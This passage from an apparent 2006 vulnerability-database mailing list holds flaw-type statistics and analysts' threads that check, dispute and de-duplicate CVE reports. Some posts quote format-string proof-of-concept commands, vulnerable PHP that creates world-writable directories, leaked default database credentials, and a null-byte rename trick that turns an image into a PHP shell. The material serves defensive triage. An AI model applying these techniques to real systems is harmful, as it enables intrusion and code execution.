[30] signedness       00.2% (30)  00.1% (31)  00.4% (23)  00.8% (15)  00.2% (22)  00.3% (24)  00.0% (32)
[31] dos-release      00.2% (31)  00.9% (21)  00.5% (21)  00.2% (27)  00.2% (28)  00.0%  N/A  00.0%  N/A
[32] CF               00.2% (32)  00.7% (24)  00.3% (27)  00.2% (28)  00.0%  N/A  00.1% (31)  00.1% (28)
[33] eval-inject      00.2% (33)  00.0%  N/A  00.0%  N/A  00.0%  N/A  00.0% (35)  00.2% (26)  00.3% (23)
[34] design           00.1% (34)  00.6% (25)  00.4% (24)  00.1% (33)  00.0% (34)  00.1% (32)  00.0% (31)
[35] double-free      00.1% (35)  00.0%  N/A  00.1% (35)  00.3% (23)  00.2% (23)  00.1% (30)  00.1% (30)
[36] CSRF             00.1% (37)  00.0%  N/A  00.0% (37)  00.0%  N/A  00.2% (30)  00.2% (29)  00.0% (33)
[37] type-check       00.1% (36)  00.4% (27)  00.4% (25)  00.0%  N/A  00.0%  N/A  00.0% (36)  00.0% (35)
[38] none             00.0% (38)  00.0%  N/A  00.1% (34)  00.0%  N/A  00.0%  N/A  00.0%  N/A  00.0%  N/A


UNKNOWN/UNSPECIFIED ITEMS
------------------------
unk              09.0%  N/A  07.9%  N/A  07.1%  N/A  07.0%  N/A  08.2%  N/A  08.9%  N/A  11.5%  N/A
other            15.2%  N/A  16.7%  N/A  19.0%  N/A  11.8%  N/A  17.2%  N/A  13.1%  N/A  14.9%  N/A
not-specified    06.9%  N/A  00.1%  N/A  03.0%  N/A  20.5%  N/A  11.3%  N/A  11.3%  N/A  00.3%  N/A






Flaw Terminology
-------------------
Type: other
Rank: [N/A]
Total vulns: 2467
Desc:

Other vulnerability; issue could not be described in version of
taxonomy that was available at the time the flaw type was determined.

-------------------------------------
Type: XSS
Rank: [1]
Total vulns: 2247
Desc:

Cross-site scripting (aka XSS)

-------------------------------------
Type: buf
Rank: [2]
Total vulns: 2156
Desc:

Buffer overflow

-------------------------------------
Type: unk
Rank: [N/A]
Total vulns: 1461
Desc:

Unknown vulnerability; report is too vague, or issue could not be
described in version of taxonomy that was available at the time the
flaw type was determined.

-------------------------------------
Type: sql-inject
Rank: [3]
Total vulns: 1416
Desc:

SQL injection vulnerability

-------------------------------------
Type: not-specified
Rank: [N/A]
Total vulns: 1119
Desc:

The analyst has not assigned a flaw type to the issue.

-------------------------------------
Type: dot
Rank: [4]
Total vulns: 764
Desc:

Directory traversal (file access via ".." or variants)

-------------------------------------
Type: php-include
Rank: [5]
Total vulns: 561
Desc:

PHP remote file inclusion

-------------------------------------
Type: infoleak
Rank: [6]
Total vulns: 540
Desc:

Information leak by a product, which is not the result of another
vulnerability; typically by design or by producing different "answers"
that suggest the state; often related to configuration / permissions
or error reporting/handling.

-------------------------------------
Type: dos-malform
Rank: [7]
Total vulns: 463
Desc:

DoS caused by malformed input

-------------------------------------
Type: link
Rank: [8]
Total vulns: 329
Desc:

Symbolic link following

-------------------------------------
Type: format-string
Rank: [9]
Total vulns: 296
Desc:

Format string vulnerability; user can inject format specifiers during
string processing.

-------------------------------------
Type: crypt
Rank: [10]
Total vulns: 261
Desc:

Cryptographic error (poor design or implementation)

-------------------------------------
Type: priv
Rank: [11]
Total vulns: 233
Desc:

Bad privilege assignment, or privileged process/action is
unprotected/unauthenticated.

-------------------------------------
Type: metachar
Rank: [12]
Total vulns: 218
Desc:

Unescaped shell metacharacters or other unquoted "special" char's;
currently includes SQL injection but not XSS.

-------------------------------------
Type: perm
Rank: [13]
Total vulns: 215
Desc:

Assigns bad permissions, improperly calculates permissions, or
improperly checks permissions

-------------------------------------
Type: int-overflow
Rank: [14]
Total vulns: 160
Desc:

A numeric value can be incremented to the point where it overflows and
begins at the minimum value, with security implications.  Overlaps
signedness errors.

-------------------------------------
Type: dos-flood
Rank: [15]
Total vulns: 131
Desc:

DoS caused by flooding with a large number of *legitimately formatted*
requests/etc.; normally DoS is a crash, or spending a lot more time on
a task than it "should"

-------------------------------------
Type: pass
Rank: [16]
Total vulns: 125
Desc:

Default password

-------------------------------------
Type: auth
Rank: [17]
Total vulns: 124
Desc:

Weak/bad authentication problem

-------------------------------------
Type: webroot
Rank: [18]
Total vulns: 88
Desc:

Storage of sensitive data under web document root with insufficient
access control.

-------------------------------------
Type: form-field
Rank: [19]
Total vulns: 81
Desc:

CGI program inherently trusts form field that should not be modified
(i.e. should be stored locally)

-------------------------------------
Type: relpath
Rank: [20]
Total vulns: 71
Desc:

Untrusted search path vulnerability - Relies on search paths to find
other executable programs or files, opening up to Trojan horse
attacks, e.g. PATH environment variable in Unix.

-------------------------------------
Type: race
Rank: [21]
Total vulns: 69
Desc:

General race condition (NOT SYMBOLIC LINK FOLLOWING (link)!)

-------------------------------------
Type: memleak
Rank: [22]
Total vulns: 61
Desc:

Memory leak (doesn't free memory when it should); use this instead of
dos-release

-------------------------------------
Type: msdos-device
Rank: [23]
Total vulns: 57
Desc:

Problem due to file names with MS-DOS device names.

-------------------------------------
Type: crlf
Rank: [24]
Total vulns: 49
Desc:

-------------------------------------
Type: spoof
Rank: [25]
Total vulns: 48
Desc:

Product is vulnerable to spoofing attacks, generally by not properly
verifying authenticity.

-------------------------------------
Type: default
Rank: [26]
Total vulns: 48
Desc:

Insecure default configuration, e.g. passwords or permissions

-------------------------------------
Type: sandbox
Rank: [27]
Total vulns: 46
Desc:

Java/etc. sandbox escape - NOT BY DOT-DOT!

-------------------------------------
Type: rand
Rank: [28]
Total vulns: 45
Desc:

Generation of insufficiently random numbers, typically by using easily
guessable sources of "random" data

-------------------------------------
Type: upload
Rank: [29]
Total vulns: 43
Desc:

-------------------------------------
Type: signedness
Rank: [30]
Total vulns: 38
Desc:

Signedness error; a numeric value in one format/representation is
improperly handled when it is used as if it were another
format/representation.  Overlaps integer overflows and array index
errors.

-------------------------------------
Type: dos-release
Rank: [31]
Total vulns: 30
Desc:

DoS because system does not properly release resources

-------------------------------------
Type: CF
Rank: [32]
Total vulns: 29
Desc:

General configuration problem

-------------------------------------
Type: eval-inject
Rank: [33]
Total vulns: 25
Desc:

Eval injection

-------------------------------------
Type: design
Rank: [34]
Total vulns: 23
Desc:

Design problem, generally in protocols or programming languages

-------------------------------------
Type: double-free
Rank: [35]
Total vulns: 21
Desc:

Double-free vulnerability

-------------------------------------
Type: type-check
Rank: [36]
Total vulns: 16
Desc:

Product incorrectly identifies the type of an input parameter or file,
then dispatches the wrong "executable" (possibly itself) to process
the input, or otherwise misrepresents the input in a security-critical
way.

-------------------------------------
Type: CSRF
Rank: [37]
Total vulns: 16
Desc:

-------------------------------------
Type: none
Rank: [38]
Total vulns: 2
Desc:

-------------------------------------
-------------- next part --------------
A non-text attachment was scrubbed...
Name: flaw-stats.html
Type: application/octet-stream
Size: 14946 bytes
Desc: 
Url : http://www.attrition.org/pipermail/vim/attachments/20060914/42b97c1d/attachment-0001.obj 

From jericho at attrition.org  Sat Sep 16 08:49:34 2006
From: jericho at attrition.org (security curmudgeon)
Date: Sat, 16 Sep 2006 08:49:34 -0400 (EDT)
Subject: [VIM] Responsible Disclosure Article
In-Reply-To: <224FBC6B814DBD4E9B9E293BE33A10DC01288B83@IMCSRV5.MITRE.ORG>
References: <224FBC6B814DBD4E9B9E293BE33A10DC01288B83@IMCSRV5.MITRE.ORG>
Message-ID: <Pine.LNX.4.64.0609160846410.7233@forced.attrition.org>


Hey Bill,

: 1. Vendors need time to find, address, and fix the problem. During this 
: period all systems all vulnerable, which seems to be alright assuming 
: the researcher is the only one who knows about the vulnerability. So, 
: how often do you think this assumption is false? Let's take the most 
: recent Apple advisory for QuickTime (APPLE-SA-2006-05-11) - for 
: CVE-2006-1249 concerning the integer overflow in FlashPix images, Apple 
: credits two different, probably independent researchers. If two people 
: reported to Apple how can we be certain that no one else is already 
: active exploiting it?

On my overly long, overly backed up 'todo' list..

I noticed a year or two ago that some of the big vendors (I think it was 
'Real' originally) were reporting multiple researchers discovered an issue 
in the advisory. This made me wonder how often that occured, where 
multiple creditees were recognized for a big issue. I had planned to dig 
into that more for a blog piece, then give a firm challenge to 
anyone/everyone to prove me wrong when I said that just because someone 
'privately' reported a vuln to a vendor (MS loves that term), doesn't mean 
that bad guys aren't currently abusing the same issue. If two researchers 
(or more) can find the same bug, and both can sit on it for months at a 
time.. then we would be stupid to believe it stopped there.


From heinbockel at mitre.org  Mon Sep 18 13:39:36 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Mon, 18 Sep 2006 13:39:36 -0400
Subject: [VIM] BID:20031 Apple Mac OS X KExtLoad Format String Weakness
	[CVE-2004-1398]
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC0128906E@IMCSRV5.MITRE.ORG>

In the Netragard Full-Disclosure post:
FULLDISC:20060913 [NETRAGARD-20060822 SECURITY ADVISORY] [ APPLE
COMPUTER CORPORATION KEXTLOAD VULNERABILITY + ROXIO TOAST TITANUM 7
HELPER APP - LOCAL ROOT COMROMISE]
http://lists.grok.org.uk/pipermail/full-disclosure/2006-September/04945
2.html
http://www.netragard.com/pdfs/research/apple-kext-tools-20060822.txt

===================================================================

1-) kextload format string vulnerability.

Executing "sudo kextload %x.%x.%x.%x.%x.%x" demonstrates the
vulnerability.  The code which enables this format string
vulnerability can be found in "prelink.c" and reads as

fprintf(stderr, kext_path);

...

4-) Example of kextload format string vulnerability affecting
~    TDIXSupport

netragard-test:$ ./TDIXSupport %x%x%x%x%x%x%/TDIXController.kext
kextload: /Library/Application Support/Roxio/90b4b6ca1c69737473652065\
78682062756e646c65/TDIXController.kext: no such bundle file exists
can't add kernel extension %x%x%x%x%x%x%/TDIXController.kext (file ac\
cess/permissions) (run kextload on this kext with -t for diagnostic o\
utput)

===================================================================

appears to actually be a duplicate report of CVE-2004-1398:

CVE-2004-1398
Format string vulnerability in TDIXSupport in Roxio Toast on Mac OS X
may allow local users to execute arbitrary code via certain inputs that
contain format strings.
BUGTRAQ:20041214 Possible local root vulnerability in Roxio Toast on
Mac OS X
http://marc.theaimsgroup.com/?l=bugtraq&m=110305083706943&w=2
BID:11926
http://www.securityfocus.com/bid/11926
XF:roxio-toast-tdixsupport-format-string(18472)
http://xforce.iss.net/xforce/xfdb/18472


William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615

From mattmurphy at kc.rr.com  Mon Sep 18 14:00:08 2006
From: mattmurphy at kc.rr.com (Matthew Murphy)
Date: Mon, 18 Sep 2006 13:00:08 -0500
Subject: [VIM] BID:20031 Apple Mac OS X KExtLoad Format String Weakness
	[CVE-2004-1398]
In-Reply-To: <224FBC6B814DBD4E9B9E293BE33A10DC0128906E@IMCSRV5.MITRE.ORG>
References: <224FBC6B814DBD4E9B9E293BE33A10DC0128906E@IMCSRV5.MITRE.ORG>
Message-ID: <a394e3d90609181100y5530136djf50e5280f28371d1@mail.gmail.com>

I don't see how this is really a vulnerability, or even a security issue.

1) KExtLoad is not setuid root -- successful exploitation of this
issue results in the ability to execute arbitrary code as the user
calling KExtLoad.

2) In order to exploit this against a root process, the attacker needs
to be able to directly specify a path to a kernel extension -- which
is probably game over anyway.

It seems like the problem here is that we have a setuid binary which
is loading kernel extensions based on paths specified in user input.
Once you can talk an application into loading a kernel module for you,
the system is pretty well hosed.

Is there something I'm missing?

On 9/18/06, Heinbockel, Bill <heinbockel at mitre.org> wrote:
> In the Netragard Full-Disclosure post:
> FULLDISC:20060913 [NETRAGARD-20060822 SECURITY ADVISORY] [ APPLE
> COMPUTER CORPORATION KEXTLOAD VULNERABILITY + ROXIO TOAST TITANUM 7
> HELPER APP - LOCAL ROOT COMROMISE]
> http://lists.grok.org.uk/pipermail/full-disclosure/2006-September/04945
> 2.html
> http://www.netragard.com/pdfs/research/apple-kext-tools-20060822.txt
>
> ===================================================================
>
> 1-) kextload format string vulnerability.
>
> Executing "sudo kextload %x.%x.%x.%x.%x.%x" demonstrates the
> vulnerability.  The code which enables this format string
> vulnerability can be found in "prelink.c" and reads as
>
> fprintf(stderr, kext_path);
>
> ...
>
> 4-) Example of kextload format string vulnerability affecting
> ~    TDIXSupport
>
> netragard-test:$ ./TDIXSupport %x%x%x%x%x%x%/TDIXController.kext
> kextload: /Library/Application Support/Roxio/90b4b6ca1c69737473652065\
> 78682062756e646c65/TDIXController.kext: no such bundle file exists
> can't add kernel extension %x%x%x%x%x%x%/TDIXController.kext (file ac\
> cess/permissions) (run kextload on this kext with -t for diagnostic o\
> utput)
>
> ===================================================================
>
> appears to actually be a duplicate report of CVE-2004-1398:
>
> CVE-2004-1398
> Format string vulnerability in TDIXSupport in Roxio Toast on Mac OS X
> may allow local users to execute arbitrary code via certain inputs that
> contain format strings.
> BUGTRAQ:20041214 Possible local root vulnerability in Roxio Toast on
> Mac OS X
> http://marc.theaimsgroup.com/?l=bugtraq&m=110305083706943&w=2
> BID:11926
> http://www.securityfocus.com/bid/11926
> XF:roxio-toast-tdixsupport-format-string(18472)
> http://xforce.iss.net/xforce/xfdb/18472
>
>
> William Heinbockel
> Infosec Engineer
> The MITRE Corporation
> 202 Burlington Rd. MS S145
> Bedford, MA 01730
> heinbockel at mitre.org
> 781-271-2615
>

From smoore at securityglobal.net  Tue Sep 19 15:41:29 2006
From: smoore at securityglobal.net (Stuart Moore)
Date: Tue, 19 Sep 2006 15:41:29 -0400
Subject: [VIM] bogus - HitWeb v3.0 - Remote File Include Vulnerabilities
Message-ID: <451047E9.3080403@securityglobal.net>

Re: "HitWeb v3.0 - Remote File Include Vulnerabilities" report on 
Bugtraq, and also BID: 20060.

index.php says this before anything else:

   include "conf/hitweb.conf" ;

and that conf file says:

   $REP_CLASS = 'class';

I didn't check the other files.

Stuart



From coley at linus.mitre.org  Tue Sep 19 15:54:03 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 19 Sep 2006 15:54:03 -0400 (EDT)
Subject: [VIM] bogus - HitWeb v3.0 - Remote File Include Vulnerabilities
In-Reply-To: <451047E9.3080403@securityglobal.net>
References: <451047E9.3080403@securityglobal.net>
Message-ID: <Pine.GSO.4.51.0609191544480.17074@faron.mitre.org>


Doubly confirmed on my end, just in case.  Source code is unchanged since
September 2001.

By the way - it's likely that hitweb.conf is returned unprocessed by the
web server and thus leaks database credentials:

  // Variables pour la base de donn?es
  $DBNAME = 'hitweb';
  $DBUSER = 'root';
  $DBPASS = '';
  $DBHOST = '127.0.0.1';
  $BASE = 'mysql';


FYI, I'm still working on the wild goose chase theory that some of these
bad reports are due to some weird, obscure PHP bug (as opposed to bad
research methods being shared within a small group of people).

One researcher seemed to understand why his report was out-of-the-norm and
continued to say that the reports worked regardless.  He has since
provided me with some phpinfo() output from vulnerable sites that I still
need to pore through (don't-ask-don't-tell seems to be a good policy right
now).  Nothing substantive yet though.

- Steve

From coley at mitre.org  Tue Sep 19 17:41:08 2006
From: coley at mitre.org (Steven M. Christey)
Date: Tue, 19 Sep 2006 17:41:08 -0400 (EDT)
Subject: [VIM] Moodle issue - invalid vendor ack? and extra vulns
Message-ID: <200609192141.k8JLf8YC013599@faron.mitre.org>


Ref: BUGTRAQ:20060917 Sql injection in Moodle
     http://www.securityfocus.com/archive/1/archive/1/446227/100/0/threaded

Discloser says "Version 1.6.2 has been released (moodle.org)", which
seems to have been picked up by some VDBs.

But the Moodle changelog for 1.6.2 here:

  http://docs.moodle.org/en/Release_notes#Moodle_1.6.2

does not provide sufficient details to match up with the original
disclosure, although it does cover "Undisclosed SQL
injections fixed by automatic data conversions in adodb layer" which
doesn't quite seem to fit.

It also mentions other security issues, but most of the items are
terse and some might be enhancements instead of vulns.

Has anybody investigated further?

- Steve

From coley at mitre.org  Tue Sep 19 17:54:25 2006
From: coley at mitre.org (Steven M. Christey)
Date: Tue, 19 Sep 2006 17:54:25 -0400 (EDT)
Subject: [VIM] "new" PowerPoint vuln apparently old
Message-ID: <200609192154.k8JLsPLu014112@faron.mitre.org>


FYI, the new PowerPoint vuln is a dupe according to MS.  This is at
least twice where an AV company has been the first to release an
apparently unknown issue that turned out to be a dupe.  Wonder if this
pattern will continue, where forensics in the first few minutes of a
0-day attack produces more dupes than intended?  In this case though,
since CVE-2006-0009 has been fixed, wouldn't the company have been
able to prove that a patched version was immune?  Unless the original
AV report was the best available information at the time the signature
was released, probably within minutes of receiving the sample.

======================================================
Name: CVE-2006-4854
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4854
Reference: MISC:http://www.symantec.com/security_response/writeup.jsp?docid=2006-091810-5028-99
Reference: FULLDISC:20060919 New PowerPoint 0-day Trojan in the wild
Reference: URL:http://lists.grok.org.uk/pipermail/full-disclosure/2006-September/049540.html
Reference: MISC:http://blogs.securiteam.com/?author=28
Reference: BID:20059
Reference: URL:http://www.securityfocus.com/bid/20059
Reference: FRSIRT:ADV-2006-3678
Reference: URL:http://www.frsirt.com/english/advisories/2006/3678
Reference: XF:powerpoint-presentation-code-execution(29009)
Reference: URL:http://xforce.iss.net/xforce/xfdb/29009

** REJECT **

Unspecified vulnerability in Microsoft Office 2000 (Chinese Edition)
and Microsoft PowerPoint 2000 (Chinese Edition) allows user-assisted
attackers to execute arbitrary code via a crafted PPT document, as
exploited by malware such as Trojan.PPDropper.E.  NOTE: on 20060919,
Microsoft notified CVE that this is a duplicate of CVE-2006-0009.



From theall at tenablesecurity.com  Tue Sep 19 20:04:12 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Tue, 19 Sep 2006 20:04:12 -0400
Subject: [VIM] Moodle issue - invalid vendor ack? and extra vulns
In-Reply-To: <200609192141.k8JLf8YC013599@faron.mitre.org>
References: <200609192141.k8JLf8YC013599@faron.mitre.org>
Message-ID: <4510857C.5070501@tenablesecurity.com>

Steven M. Christey wrote:

> But the Moodle changelog for 1.6.2 here:
> 
>   http://docs.moodle.org/en/Release_notes#Moodle_1.6.2
> 
> does not provide sufficient details to match up with the original
> disclosure, 

Are you referring to Omid's posting - 
<http://www.securityfocus.com/archive/1/446227/30/0/threaded>? That was 
indeed fixed in 1.6.2. The problem lies in 'do_save()' in blob/edit.php 
- an authenticated attacker can manipulate database queries via the 
'format' parameter of the script. With the help of some debugging 
statements I added, I could see that the supplied value was being passed 
to '_adodb_column_sql()' in 'lib/adodb/adodb-lib.inc.php' with 'type' 
equal to 'I', and in 1.6.1, the value was used as-is, without being 
restricted to an int.

> It also mentions other security issues, but most of the items are
> terse and some might be enhancements instead of vulns.
> 
> Has anybody investigated further?

The 'course/jumpto.php' issue exists too. It might be possible to 
leverage that to conduct XSS attacks against an install, but I'm not sure.

George
-- 
theall at tenablesecurity.com

From coley at linus.mitre.org  Tue Sep 19 20:59:35 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 19 Sep 2006 20:59:35 -0400 (EDT)
Subject: [VIM] Dispute - CVE-2006-4759 - PunBB
Message-ID: <Pine.GSO.4.51.0609192051380.17074@faron.mitre.org>


See the CVE analysis below.  The original post was by 3APA3A, so I'm
inclined to believe that something's there.  However, the original CVE
description was incorrect with respect to the Bugtraq post, which might be
a partial explanation for the dispute.  I'll forward the response.

I'm not sure at this instant whether Smartys is the developer or a
power-user/power-admin.

- Steve

---------- Forwarded message ----------
Date: Tue, 19 Sep 2006 20:13:12 -0400
From: Smartys
To: cve at mitre.org
Subject: CVE-2006-4759

To whom it may concern,
I'm writing about the vulnerability identified as CVE-2006-4759 because
the specified vulnerability does not exist. PunBB does not ever use the
given filenames of uploaded files, opting instead to use the user's ID
from the database, which is known to be safe. Thus, adding a null byte
to the name of an avatar to be uploaded would not allow for the
uploading of arbitrary files as claimed by the report.

Thanks,
Smartys


======================================================
Name: CVE-2006-4759
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4759
Acknowledged: unknown
Announced: 20060911
Flaw: other
Reference: BUGTRAQ:20060911 ShAnKaR: multiple PHP application poison NULL byte vulnerability
Reference: URL:http://www.securityfocus.com/archive/1/archive/1/445788/100/0/threaded
Reference: MISC:http://www.security.nnov.ru/Odocument221.html
Reference: XF:phpbb-nullbyte-file-upload(28884)
Reference: URL:http://xforce.iss.net/xforce/xfdb/28884

** DISPUTED **

admin/admin_board.php in PunBB 1.2.12 does not properly handle
pathnames ending in %00, which allows remote authenticated
administrative users to execute arbitrary code by modifying the name
of a previously-uploaded avatar image file to contain a .php
extension.  NOTE: on 20060919, this issue was disputed to CVE, saying
"PunBB does not ever use the given filenames of uploaded files, opting
instead to use the user's ID from the database, which is known to be
safe."  The original researcher is known to be reliable.  The dispute
might be based on the original CVE description, which erroneously
claimed that the attack occured in a filename as it was being
uploaded.


Analysis:
ACCURACY: It is "administrative users" because the researcher's phpBB
exploit refers to an admin user and admin operations, and it is
expected that the researcher would have noted that PunBB exploitation
were accessible to ordinary or unauthenticated users.

ACCURACY: the researcher says that the issue arises when the
administrator changes the location of the avatar file.  This assumes
that the avatar file has been uploaded.  The demonstration exploit
uses admin/admin_board.php to rename the avatar to "shell.php"
followed by a null byte, which probably bypasses any regular
expression checks that occur on the filename.  Because some EXIF data
is freeform, the original avatar can pass a check for a valid image
format, but contain PHP code that can be executed once the file has
been renamed.

ABSTRACTION: Nothing was found suggesting a shared codebase with
phpBB. PunBB (the newer of the two) is apparently not a fork of phpBB.
The PunBB About page says "The idea of PunBB was first born when I
needed a discussion board ... [it] was nowhere to be found. Thus, I
started working on PunBB."



From jericho at attrition.org  Tue Sep 19 22:54:47 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 19 Sep 2006 22:54:47 -0400 (EDT)
Subject: [VIM] clarification: Limbo - Lite Mambo CMS Multiple
Message-ID: <Pine.LNX.4.64.0609192247360.26607@forced.attrition.org>


Reference:
http://archives.neohapsis.com/archives/bugtraq/2006-09/0264.html
http://secunia.com/advisories/21944/
http://www.limboforge.org/

I don't feel like converting all this to a nice formal post, i'm lazy and 
behind =) Sullo did some digging into this post to clarify a few things. 
Specifically the "create directory" stuff toward the end. These are not 
part of the Limbo default install, rather they are add-ons. Here is some 
of the relevant findings:

[09-19 20:10] sullo: dunno...those 3 files don't exist in my download
[09-19 20:10] jericho: ... great

[09-19 20:11] sullo: sec -- found the sitemap.install.php file in an add-on
[09-19 20:11] sullo: if(!is_dir($lm_absolute_path."feed/"))         { 
mkdir($lm_absolute_path."feed/",0777);         }
[09-19 20:11] sullo: soooo
[09-19 20:12] sullo: lm_absolute_path is controlled in the URI, so you can 
create a path + /feed directory
[09-19 20:12] sullo: and then htere is
[09-19 20:12] sullo: if(!is_file($lm_absolute_path."feed/sitemap.php")) 
{         $handle = fopen($lm_absolute_path."feed/sitemap.php", "w"); 
fclose($handle);         }
[09-19 20:13] sullo: so you can create a file and a dir
[09-19 20:13] sullo: don't see that you can put any contents in the file
[09-19 20:14] jericho: if im local though..
[09-19 20:15] jericho: i use it to create a 777 file anywhere on system?
[09-19 20:15] jericho: owned by web server privs
[09-19 20:15] sullo: seems like it...

[09-19 20:24] sullo: ok, it's components
[09-19 20:24] sullo: Google Sitemap Component
[09-19 20:24] sullo: Limbo Sitemap Component
[09-19 20:24] sullo: both have that same code.
[09-19 20:25] sullo: those are two of them
[09-19 20:25] sullo: gositemap.install.php is the google one

[09-19 20:46] jericho: second page
[09-19 20:46] jericho: Gallery Component

http://www.limboportal.com/index.php/option/downloads/catid/31/Itemid/46

Two of them are on this page, then click 'next' for second page and the 
third.

From theall at tenablesecurity.com  Wed Sep 20 06:47:13 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Wed, 20 Sep 2006 06:47:13 -0400
Subject: [VIM] clarification: Limbo - Lite Mambo CMS Multiple
In-Reply-To: <Pine.LNX.4.64.0609192247360.26607@forced.attrition.org>
References: <Pine.LNX.4.64.0609192247360.26607@forced.attrition.org>
Message-ID: <45111C31.1060602@tenablesecurity.com>

security curmudgeon wrote:

> Reference:
> http://archives.neohapsis.com/archives/bugtraq/2006-09/0264.html
...
> things. Specifically the "create directory" stuff toward the end. These 
> are not part of the Limbo default install, rather they are add-ons. 

Actually, they are included in the "fully loaded" versions, which you 
can find here:

 
http://limboforge.org/web/component/option,com_remository/Itemid,1/func,select/id,15/

> [09-19 20:13] sullo: so you can create a file and a dir
> [09-19 20:13] sullo: don't see that you can put any contents in the file

Perhaps you already realize it, but the FileManager install script 
(fm.install.php) does allow you to control the contents.

George
-- 
theall at tenablesecurity.com

From sullo at cirt.net  Wed Sep 20 07:54:59 2006
From: sullo at cirt.net (Sullo)
Date: Wed, 20 Sep 2006 07:54:59 -0400
Subject: [VIM] clarification: Limbo - Lite Mambo CMS Multiple
In-Reply-To: <45111C31.1060602@tenablesecurity.com>
References: <Pine.LNX.4.64.0609192247360.26607@forced.attrition.org>
	<45111C31.1060602@tenablesecurity.com>
Message-ID: <45112C13.7040507@cirt.net>

George A. Theall wrote:
> Actually, they are included in the "fully loaded" versions, which you
> can find here:

Ahh... hadn't caught that.

>> [09-19 20:13] sullo: so you can create a file and a dir
>> [09-19 20:13] sullo: don't see that you can put any contents in the file
>
> Perhaps you already realize it, but the FileManager install script
> (fm.install.php) does allow you to control the contents.

no but that makes sense.

i was a half-assed (re-)researcher last night :-)  thanks for the
information.

-Sullo



-- 

http://www.cirt.net/      |     http://www.osvdb.org/


From coley at mitre.org  Wed Sep 20 14:26:30 2006
From: coley at mitre.org (Steven M. Christey)
Date: Wed, 20 Sep 2006 14:26:30 -0400 (EDT)
Subject: [VIM] Clarification on affected Linux kernel versions -
	CVE-2006-4535
Message-ID: <200609201826.k8KIQUVn025842@faron.mitre.org>


See analysis.  The original CVE analyst inferred the affected kernel
versions from the Ubuntu advisory, but turns out this was incorrect.

- Steve


======================================================
Name: CVE-2006-4535
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4535
Acknowledged: yes advisory
Announced: 20060918
Flaw: other
Reference: MISC:http://www.mail-archive.com/kernel-svn-changes at lists.alioth.debian.org/msg02314.html
Reference: MISC:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=204460
Reference: UBUNTU:USN-347-1
Reference: URL:http://www.ubuntu.com/usn/usn-347-1
Reference: BID:20087
Reference: URL:http://www.securityfocus.com/bid/20087

The Linux kernel 2.6.17.10 and 2.6.17.11 and 2.6.18-rc5 allows local
users to cause a denial of service (crash) via an SCTP socket with a
certain SO_LINGER value, possibly related to the patch for
CVE-2006-3745.  NOTE: other kernel versions for specific distributions
might also be affected.


Analysis:
ACCURACY: Marcel Holtmann of Red Hat notified CVE on 20060910 that the
only affected versions were 2.6.17.10, 2.6.17.11, and 2.6.18-rc5.
This is inconsistent with Ubuntu's patches for some kernel versions up
to 2.6.15, but it's possible that the original CVE-2006-3745 patch was
ported to older versions.

ACCURACY: Comments from the SVN changelog/diff reveal that this
problem was introduced with the patch for CVE-2006-3745:
"sctp-priv-elevation-2.dpatch [SECURITY] Fix local DoS resulting from
sctp-priv-elevation.dpatch / See CVE-2006-4535"



From coley at linus.mitre.org  Wed Sep 20 14:45:28 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Wed, 20 Sep 2006 14:45:28 -0400 (EDT)
Subject: [VIM] Clarification on affected Linux kernel versions -
 CVE-2006-4535
In-Reply-To: <200609201826.k8KIQUVn025842@faron.mitre.org>
References: <200609201826.k8KIQUVn025842@faron.mitre.org>
Message-ID: <Pine.GSO.4.51.0609201443230.23434@faron.mitre.org>


More precisely: this issue is a vulnerability in a patch.  The patch had
been back-ported to some older kernel versions in some distros, so those
distros have to go and fix the patch, even though it didn't appear in
those older versions of the kernel.org kernel.  I hope you got it, 'cause
I'm still not sure I do ;-)

On Wed, 20 Sep 2006, Steven M. Christey wrote:

>
> See analysis.  The original CVE analyst inferred the affected kernel
> versions from the Ubuntu advisory, but turns out this was incorrect.
>
> - Steve
>
>
> ======================================================
> Name: CVE-2006-4535
> Status: Candidate
> URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4535
> Acknowledged: yes advisory
> Announced: 20060918
> Flaw: other
> Reference: MISC:http://www.mail-archive.com/kernel-svn-changes at lists.alioth.debian.org/msg02314.html
> Reference: MISC:https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=204460
> Reference: UBUNTU:USN-347-1
> Reference: URL:http://www.ubuntu.com/usn/usn-347-1
> Reference: BID:20087
> Reference: URL:http://www.securityfocus.com/bid/20087
>
> The Linux kernel 2.6.17.10 and 2.6.17.11 and 2.6.18-rc5 allows local
> users to cause a denial of service (crash) via an SCTP socket with a
> certain SO_LINGER value, possibly related to the patch for
> CVE-2006-3745.  NOTE: other kernel versions for specific distributions
> might also be affected.
>
>
> Analysis:
> ACCURACY: Marcel Holtmann of Red Hat notified CVE on 20060910 that the
> only affected versions were 2.6.17.10, 2.6.17.11, and 2.6.18-rc5.
> This is inconsistent with Ubuntu's patches for some kernel versions up
> to 2.6.15, but it's possible that the original CVE-2006-3745 patch was
> ported to older versions.
>
> ACCURACY: Comments from the SVN changelog/diff reveal that this
> problem was introduced with the patch for CVE-2006-3745:
> "sctp-priv-elevation-2.dpatch [SECURITY] Fix local DoS resulting from
> sctp-priv-elevation.dpatch / See CVE-2006-4535"
>
>
>

From coley at linus.mitre.org  Fri Sep 22 18:49:07 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 22 Sep 2006 18:49:07 -0400 (EDT)
Subject: [VIM] Moodle issue - invalid vendor ack? and extra vulns
In-Reply-To: <4510857C.5070501@tenablesecurity.com>
References: <200609192141.k8JLf8YC013599@faron.mitre.org>
	<4510857C.5070501@tenablesecurity.com>
Message-ID: <Pine.GSO.4.51.0609221843300.26327@faron.mitre.org>


George, I looked into it and concur with your analysis.  The vendor fixed
